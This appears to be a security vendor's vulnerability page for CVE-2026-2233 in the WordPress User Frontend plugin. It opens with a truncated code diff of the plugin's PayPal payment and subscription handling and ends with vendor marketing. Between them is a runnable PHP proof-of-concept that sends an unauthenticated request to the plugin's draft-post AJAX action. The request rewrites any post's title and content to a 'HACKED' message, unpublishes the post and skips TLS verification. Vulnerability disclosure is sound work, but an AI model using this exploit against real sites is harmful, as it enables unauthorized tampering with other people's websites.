+             * @param array $original_data Original payment data from form submission
+             *
+             * @return array Modified payment data with 'total' set
+             *
+             * @since WPUF_PRO_SINCE
+             */
+            $payment_data = apply_filters( 'wpuf_payment_data_before_gateway', $payment_data, $data );
+
+            // Get final amount (use 'total' if set by extensions, otherwise use 'amount')
+            $billing_amount = isset( $payment_data['total'] ) ? $payment_data['total'] : $payment_data['amount'];
+
+            // Apply legacy payment amount filter ONLY if total wasn't set by new system
+            // This prevents double tax application
+            if ( ! isset( $payment_data['total'] ) ) {
+                $billing_amount = apply_filters( 'wpuf_payment_amount', $billing_amount, $post_id );
+            }
+
+            // Update payment data with final amount
+            $payment_data['total'] = $billing_amount;

             // Handle free payments
             if ( $billing_amount == 0 ) {
@@ -1352,25 +1559,20 @@
                     }
                 }

-                // Create a plan if not exists
-                $plan_id = $this->get_or_create_plan( $pack, $billing_amount, $period, $interval, $trial_period_days );
+                // Create a plan with base amount (without tax, as tax will be added via subscription override)
+                $plan_base_amount = isset( $payment_data['breakdown']['item_total'] ) ? $payment_data['breakdown']['item_total'] : $billing_amount;
+
+                $plan_id = $this->get_or_create_plan( $pack, $plan_base_amount, $period, $interval, $trial_period_days );

                 if ( ! $plan_id ) {
                     throw new Exception( 'Failed to create or get subscription plan' );
                 }

-                // Get tax rate if enabled
-                $tax_rate = 0;
-                if ( $this->wpuf_tax_enabled() ) {
-                    $tax_rate = $this->wpuf_current_tax_rate();
-                }
-
                 // Prepare subscription data
                 $subscription_data = [
                     'plan_id' => $plan_id,
                     'application_context' => [
                         'brand_name' => get_bloginfo( 'name' ),
-                        'locale' => 'en-US',
                         'shipping_preference' => 'NO_SHIPPING',
                         'user_action' => 'SUBSCRIBE_NOW',
                         'return_url' => $return_url,
@@ -1381,15 +1583,43 @@
 							'type' => $data['type'],
 							'user_id' => $user_id,
 							'item_number' => $data['item_number'],
-							'subtotal' => $data['subtotal'],
-							'tax_rate' => $tax_rate,
-							'tax' => $data['tax'],
 							'coupon_id' => $coupon_id,
-							'trial_period_days' => $trial_period_days,
 						]
                     ),
                 ];

+                // Add tax override if tax is included in payment_data
+                if ( isset( $payment_data['breakdown']['tax_total'] ) && $payment_data['breakdown']['tax_total'] > 0 ) {
+                    $tax_amount = $payment_data['breakdown']['tax_total'];
+                    $subtotal = $payment_data['breakdown']['item_total'] ?? $payment_data['amount'];
+
+                    // Calculate tax percentage
+                    $tax_percentage = ( $tax_amount / $subtotal ) * 100;
+
+                    // Add plan override with tax
+                    $subscription_data['plan'] = [
+                        'taxes' => [
+                            'percentage' => number_format( $tax_percentage, 2, '.', '' ),
+                            'inclusive' => false,
+                        ],
+                    ];
+                }
+
+                /**
+                 * Filter: wpuf_paypal_subscription_data
+                 *
+                 * Modify PayPal subscription data before sending to API.
+                 * Allows adding/removing/modifying subscription parameters.
+                 *
+                 * @param array $subscription_data PayPal subscription API payload
+                 * @param array $data Original payment data
+                 *
+                 * @return array Modified subscription data
+                 *
+                 * @since WPUF_PRO_SINCE
+                 */
+                $subscription_data = apply_filters( 'wpuf_paypal_subscription_data', $subscription_data, $data );
+
                 // Create subscription
                 $response = wp_remote_post(
                     ( $this->test_mode ? 'https://api-m.sandbox.paypal.com' : 'https://api-m.paypal.com' ) . '/v1/billing/subscriptions',
@@ -1407,6 +1637,7 @@
                     throw new Exception( 'Failed to create PayPal subscription: ' . $response->get_error_message() );
                 }

+                $response_code = wp_remote_retrieve_response_code( $response );
                 $body = json_decode( wp_remote_retrieve_body( $response ), true );

                 if ( ! isset( $body['id'] ) ) {
@@ -1417,11 +1648,11 @@
                 set_transient(
                     'wpuf_paypal_pending_' . $body['id'],
                     [
-                        'user_id' => $user_id,
-                        'pack_id' => $data['item_number'],
-                        'subscription_id' => $body['id'],
-                        'status' => 'pending',
-                        'created' => gmdate( 'Y-m-d H:i:s' ),
+                        'user_id'           => $user_id,
+                        'pack_id'           => $data['item_number'],
+                        'subscription_id'   => $body['id'],
+                        'status'            => 'pending',
+                        'created'           => gmdate( 'Y-m-d H:i:s' ),
                         'trial_period_days' => $trial_period_days,
                     ],
                     HOUR_IN_SECONDS * 24 // Expire after 24 hours
@@ -1449,31 +1680,26 @@
                     10,
                     1
                 );
-
+
                 // Redirect to PayPal
                 wp_safe_redirect( $approval_url );
                 exit();
             } else {
-                $payment_data = [
+                // Build PayPal order data
+                $paypal_order_data = [
                     'intent' => 'CAPTURE',
                     'purchase_units' => [
 						[
-							'amount' => [
-								'currency_code' => $data['currency'],
-								'value' => number_format( $billing_amount, 2, '.', '' ),
-							],
+							'amount' => $this->build_paypal_amount( $payment_data ),
 							'description' => isset( $data['custom']['post_title'] ) ? $data['custom']['post_title'] : $data['item_name'],
 							'custom_id' => wp_json_encode(
                                 [
-									'type' => $data['type'],
-									'user_id' => $user_id,
-									'coupon_id' => $coupon_id,
-									'subtotal' => $data['subtotal'],
-									'tax' => $data['tax'],
-									'item_number' => $data['item_number'],
-									'first_name' => $data['user_info']['first_name'],
-									'last_name' => $data['user_info']['last_name'],
-									'email' => $data['user_info']['email'],
+									'type' => $payment_data['type'],
+									'user_id' => $payment_data['user_id'],
+									'coupon_id' => $payment_data['coupon_id'],
+									'item_number' => $payment_data['item_number'],
+									'subtotal' => isset( $payment_data['breakdown']['item_total'] ) ? $payment_data['breakdown']['item_total'] : $payment_data['amount'],
+									'tax' => isset( $payment_data['breakdown']['tax_total'] ) ? $payment_data['breakdown']['tax_total'] : 0,
 								]
                             ),
 						],
@@ -1482,14 +1708,27 @@
                         'return_url' => $return_url,
                         'cancel_url' => $cancel_url,
                         'brand_name' => get_bloginfo( 'name' ),
-                        'landing_page' => 'LOGIN',
                         'user_action' => 'PAY_NOW',
                         'shipping_preference' => 'NO_SHIPPING',
                     ],
                 ];

-                // Add debug logging
-                            // Create order
+                /**
+                 * Filter: wpuf_paypal_order_data
+                 *
+                 * Modify PayPal order/payment data before sending to API.
+                 * Allows adding/removing/modifying order parameters.
+                 *
+                 * @param array $paypal_order_data PayPal order API payload
+                 * @param array $data Original payment data
+                 *
+                 * @return array Modified order data
+                 *
+                 * @since WPUF_PRO_SINCE
+                 */
+                $paypal_order_data = apply_filters( 'wpuf_paypal_order_data', $paypal_order_data, $data );
+
+                // Create order
                 $response = wp_remote_post(
                     $this->test_mode ? 'https://api-m.sandbox.paypal.com/v2/checkout/orders' : 'https://api-m.paypal.com/v2/checkout/orders',
                     [
@@ -1497,7 +1736,7 @@
                             'Authorization' => 'Bearer ' . $access_token,
                             'Content-Type' => 'application/json',
                         ],
-                        'body' => wp_json_encode( $payment_data ),
+                        'body' => wp_json_encode( $paypal_order_data ),
                     ]
                 );

@@ -1505,6 +1744,7 @@
                     throw new Exception( 'Failed to create PayPal order: ' . $response->get_error_message() );
                 }

+                $response_code = wp_remote_retrieve_response_code( $response );
                 $body = json_decode( wp_remote_retrieve_body( $response ), true );

                 if ( ! isset( $body['id'] ) ) {
@@ -1523,7 +1763,7 @@
                 if ( empty( $approval_url ) ) {
                     throw new Exception( 'Approval URL not found in PayPal response' );
                 }
-
+
                 // Add PayPal to allowed hosts just before redirect
                 add_filter(
                     'allowed_redirect_hosts',
@@ -1533,7 +1773,7 @@
                     10,
                     1
                 );
-
+
                 wp_safe_redirect( $approval_url );
                 exit();
             }
@@ -1548,6 +1788,12 @@
     private function get_or_create_plan( $pack, $amount, $period, $interval, $trial_period_days = 0 ) {
         try {
             $access_token = $this->get_access_token();
+
+            if ( ! $access_token ) {
+                return false;
+            }
+
+            // Create plan name (tax will be added separately via subscription override)
             $plan_name = 'WPUF-' . $pack->post_title . '-' . uniqid();
             $plan_id = get_post_meta( $pack->ID, '_paypal_plan_id', true );

@@ -1573,7 +1819,10 @@
                 }
             }

-            // Create new plan
+            // Create new plan (tax will be added separately via subscription override)
+            // Ensure interval_count is at least 1 (PayPal doesn't accept 0 or negative values)
+            $interval_count = max( 1, intval( $interval ) );
+
             $plan_data = [
                 'product_id' => $this->get_or_create_product( $pack ),
                 'name' => $plan_name,
@@ -1583,7 +1832,7 @@
 					[
 						'frequency' => [
 							'interval_unit' => strtoupper( $period ),
-							'interval_count' => $interval,
+							'interval_count' => $interval_count,
 						],
 						'tenure_type' => 'REGULAR',
 						'sequence' => 1,
@@ -1633,7 +1882,7 @@
                 // Update the regular billing cycle sequence
                 $plan_data['billing_cycles'][1]['sequence'] = 2;
             }
-
+
             $response = wp_remote_post(
                 ( $this->test_mode ? 'https://api-m.sandbox.paypal.com' : 'https://api-m.paypal.com' ) . '/v1/billing/plans',
                 [
@@ -1650,7 +1899,9 @@
                 throw new Exception( 'Failed to create PayPal plan: ' . $response->get_error_message() );
             }

+            $response_code = wp_remote_retrieve_response_code( $response );
             $body = json_decode( wp_remote_retrieve_body( $response ), true );
+

             if ( ! isset( $body['id'] ) ) {
                 throw new Exception( 'Invalid response from PayPal - no plan ID' );
@@ -1756,12 +2007,12 @@
             $subscription_id = isset( $_GET['subscription_id'] ) ? sanitize_text_field( wp_unslash( $_GET['subscription_id'] ) ) : '';
             $ba_token = isset( $_GET['ba_token'] ) ? sanitize_text_field( wp_unslash( $_GET['ba_token'] ) ) : '';
             $token = isset( $_GET['token'] ) ? sanitize_text_field( wp_unslash( $_GET['token'] ) ) : '';
-
+
             // If we have a token but no subscription_id, the token might be the subscription ID
             if ( empty( $subscription_id ) && ! empty( $token ) ) {
                 $subscription_id = $token;
             }
-
+
             // Redirect to success page for subscriptions without requiring nonce
             $success_url = add_query_arg(
                 [
@@ -1783,7 +2034,7 @@

             wp_safe_redirect( $success_url );
             exit;
-
+
         } catch ( Exception $e ) {
             wp_safe_redirect( $this->get_error_page_url( $e->getMessage() ) );
             exit;
@@ -1897,10 +2148,10 @@
         }

         // Check if this is a subscription return (has subscription_id parameter or type is pack with recurring)
-        $is_subscription_return = isset( $_GET['subscription_id'] ) || isset( $_GET['ba_token'] ) ||
-                                 ( isset( $_GET['type'] ) && $_GET['type'] === 'pack' &&
+        $is_subscription_return = isset( $_GET['subscription_id'] ) || isset( $_GET['ba_token'] ) ||
+                                 ( isset( $_GET['type'] ) && $_GET['type'] === 'pack' &&
                                    ( isset( $_GET['token'] ) && strpos( $_GET['token'], 'I-' ) === 0 ) );
-
+
         // For subscription returns, nonce verification might fail due to PayPal's redirect process
         // So we'll be more lenient with subscription returns
         if ( ! $is_subscription_return ) {
@@ -1950,6 +2201,8 @@
      */
     private function handle_subscription_cancelled( $subscription ) {
         try {
+            $subscription_id = isset( $subscription['id'] ) ? $subscription['id'] : 'UNKNOWN';
+
             // Extract custom data
             $custom_data = [];
             if ( isset( $subscription['custom_id'] ) ) {
@@ -1974,7 +2227,7 @@

             // Update subscriber table
             global $wpdb;
-            $wpdb->update(
+            $result = $wpdb->update(
                 $wpdb->prefix . 'wpuf_subscribers',
                 [
                     'subscribtion_status' => 'cancel',
@@ -2001,41 +2254,64 @@
      */
     private function handle_subscription_activated( $subscription ) {
         try {
+            $subscription_id = isset( $subscription['id'] ) ? $subscription['id'] : 'UNKNOWN';
+
             // Extract custom data
             $custom_data = [];
             if ( isset( $subscription['custom_id'] ) ) {
                 $custom_data = json_decode( $subscription['custom_id'], true );
             }

-            if ( ! $custom_data || ! isset( $custom_data['user_id'] ) ) {
+            // Get pack_id from custom_data (item_number is the subscription pack ID)
+            $pack_id = 0;
+            if ( isset( $custom_data['item_number'] ) && 'pack' === $custom_data['type'] ) {
+                $pack_id = intval( $custom_data['item_number'] );
+            }
+
+            if ( ! $pack_id ) {
+                throw new Exception( 'No subscription pack ID found in custom_data' );
+            }
+
+            // Get the subscription pack directly by pack ID
+            $subscription_pack = wpuf()->subscription->get_subscription( $pack_id );
+
+            if ( ! $subscription_pack || ! isset( $subscription_pack->meta_value ) ) {
+                throw new Exception( sprintf( 'No subscription pack found for pack ID: %d', $pack_id ) );
+            }
+
+            // Get user_id from custom_data or try to find by subscription ID
+            $user_id = 0;
+            if ( isset( $custom_data['user_id'] ) ) {
+                $user_id = intval( $custom_data['user_id'] );
+            } else {
                 // Try to find the user based on subscription ID
-                $subscription_id = $subscription['id'];
                 $user_id = $this->get_user_id_by_subscription( $subscription_id );
+            }

-                if ( ! $user_id ) {
-                    throw new Exception( 'Could not find user for subscription: ' . $subscription_id );
-                }
-            } else {
-                $user_id = $custom_data['user_id'];
+            if ( ! $user_id ) {
+                throw new Exception( 'Could not find user for subscription: ' . $subscription_id );
             }

-            // Get the subscription pack
-            $subscription_id = $subscription['id'];
+            // Get user pack to check status and trial
             $user_pack = get_user_meta( $user_id, '_wpuf_subscription_pack', true );

-            if ( ! $user_pack || ! isset( $user_pack['pack_id'] ) ) {
-                throw new Exception( 'No subscription pack found for user: ' . $user_id );
+            // Update subscription status if needed
+            if ( ! $user_pack || ! isset( $user_pack['pack_id'] ) || $user_pack['pack_id'] !== $pack_id ) {
+                // User pack doesn't exist or doesn't match, create/update it
+                $user_pack = [
+                    'pack_id' => $pack_id,
+                    'status' => 'completed',
+                ];
             }

-            $pack_id = $user_pack['pack_id'];
-
-            // Update subscription status if needed
             if ( isset( $user_pack['status'] ) && 'completed' !== $user_pack['status'] ) {
                 $user_pack['status'] = 'completed';
-                update_user_meta( $user_id, '_wpuf_subscription_pack', $user_pack );
-                update_user_meta( $user_id, '_wpuf_paypal_subscription_id', $subscription_id );
             }

+            // Update user meta with subscription pack and PayPal subscription ID
+            update_user_meta( $user_id, '_wpuf_subscription_pack', $user_pack );
+            update_user_meta( $user_id, '_wpuf_paypal_subscription_id', $subscription_id );
+
             // If this is the first payment after a trial, create a payment record
             if ( isset( $user_pack['trial'] ) && 'yes' === $user_pack['trial'] ) {
                 // Get subscription details from PayPal
@@ -2066,7 +2342,7 @@
                         'user_id' => $user_id,
                         'status' => 'completed',
                         'subtotal' => $payment['amount']['value'],
-                        'tax' => 0, // You may need to calculate tax
+                        'tax' => 0,         // the payment record structure in the database expects a tax field
                         'cost' => $payment['amount']['value'],
                         'post_id' => 0,
                         'pack_id' => $pack_id,
@@ -2075,6 +2351,7 @@
                         'payer_email' => get_user_by( 'id', $user_id )->user_email,
                         'payment_type' => 'PayPal',
                         'transaction_id' => $payment['id'],
+                        'profile_id' => $subscription_id,
                         'created' => gmdate( 'Y-m-d H:i:s' ),
                     ];

@@ -2085,6 +2362,137 @@
             throw new Exception( 'Error handling subscription activation: ' . $e->getMessage(), 0, $e );
         }
     }
+
+    /**
+     * Get tax percentage from subscription plan
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $subscription_id PayPal subscription ID
+     *
+     * @return float Tax percentage (0 if not found)
+     */
+    private function get_subscription_tax_percentage( $subscription_id ) {
+        if ( empty( $subscription_id ) ) {
+            return 0;
+        }
+
+        try {
+            $access_token = $this->get_access_token();
+            $subscription_url = ( $this->test_mode ? 'https://api-m.sandbox.paypal.com' : 'https://api-m.paypal.com' ) .
+                                '/v1/billing/subscriptions/' . $subscription_id;
+
+            $response = wp_remote_get(
+                $subscription_url, [
+                    'headers' => [
+                        'Authorization' => 'Bearer ' . $access_token,
+                        'Content-Type' => 'application/json',
+                    ],
+                ]
+            );
+
+            if ( ! is_wp_error( $response ) ) {
+                $subscription_details = json_decode( wp_remote_retrieve_body( $response ), true );
+                if ( isset( $subscription_details['plan']['taxes']['percentage'] ) ) {
+                    return floatval( $subscription_details['plan']['taxes']['percentage'] );
+                }
+            }
+        } catch ( Exception $e ) {}
+
+        return 0;
+    }
+
+    /**
+     * Build PayPal amount structure from payment data
+     *
+     * Supports breakdown for tax, discounts, fees, etc.
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array $payment_data Payment data with optional breakdown
+     *
+     * @return array PayPal amount structure
+     */
+    private function build_paypal_amount( $payment_data ) {
+        $amount = [
+            'currency_code' => $payment_data['currency'],
+            'value'         => number_format( $payment_data['total'], 2, '.', '' ),
+        ];
+
+        // Add breakdown if provided by extensions
+        if ( isset( $payment_data['breakdown'] ) && is_array( $payment_data['breakdown'] ) ) {
+            $breakdown = $this->build_paypal_breakdown( $payment_data['breakdown'], $payment_data['currency'] );
+
+            // Only add breakdown if it has items
+            if ( ! empty( $breakdown ) ) {
+                $amount['breakdown'] = $breakdown;
+            }
+        }
+
+        return $amount;
+    }
+
+    /**
+     * Build PayPal breakdown structure
+     *
+     * Converts WPUF breakdown format to PayPal API format.
+     * PayPal supports: item_total, tax_total, shipping, handling, insurance, shipping_discount, discount
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array  $breakdown Breakdown data from payment_data
+     * @param string $currency  Currency code
+     *
+     * @return array PayPal breakdown structure
+     */
+    private function build_paypal_breakdown( $breakdown, $currency ) {
+        $paypal_breakdown = [];
+
+        // Map of WPUF breakdown keys to PayPal breakdown keys
+        $breakdown_map = [
+            'item_total'        => 'item_total',
+            'tax_total'         => 'tax_total',
+            'shipping'          => 'shipping',
+            'handling'          => 'handling',
+            'insurance'         => 'insurance',
+            'shipping_discount' => 'shipping_discount',
+            'discount'          => 'discount',
+        ];
+
+        foreach ( $breakdown_map as $wpuf_key => $paypal_key ) {
+            if ( isset( $breakdown[ $wpuf_key ] ) && $breakdown[ $wpuf_key ] > 0 ) {
+                $paypal_breakdown[ $paypal_key ] = [
+                    'currency_code' => $currency,
+                    'value'         => number_format( $breakdown

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2233 - User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration <= 4.2.8 - Missing Authorization to Unauthenticated Arbitrary Post Modification via 'post_id' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-2233
 * Unauthenticated Arbitrary Post Modification in User Frontend Plugin
 *
 * This script demonstrates how an attacker can modify any WordPress post
 * without authentication by exploiting the missing capability check in
 * the draft_post() function.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$post_id = 1; // Target post ID to modify

// Prepare the malicious request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Build POST data to modify the target post
$post_data = array(
    'action' => 'wpuf_draft_post',          // Vulnerable AJAX action
    'post_id' => $post_id,                  // Target post ID
    'post_title' => 'HACKED BY ATOMIC EDGE', // New title
    'post_content' => '<p>This post has been compromised via CVE-2026-2233. The User Frontend plugin vulnerability allows unauthenticated post modification.</p>', // New content
    'post_status' => 'draft',               // Change status to draft (unpublish)
    'post_category' => array(1),            // Modify category
    'tags_input' => 'hacked,vulnerability', // Add tags
    'submit' => 'Submit'                    // Required by plugin
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($http_code === 200) {
    echo "[+] Attack successful! Post #$post_id has been modified.n";
    echo "[+] Response: $responsen";
    
    // Verify the post was changed
    $post_url = $target_url . '/?p=' . $post_id;
    echo "[+] View modified post: $post_urln";
} else {
    echo "[-] Attack failed with HTTP code: $http_coden";
    echo "[-] Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School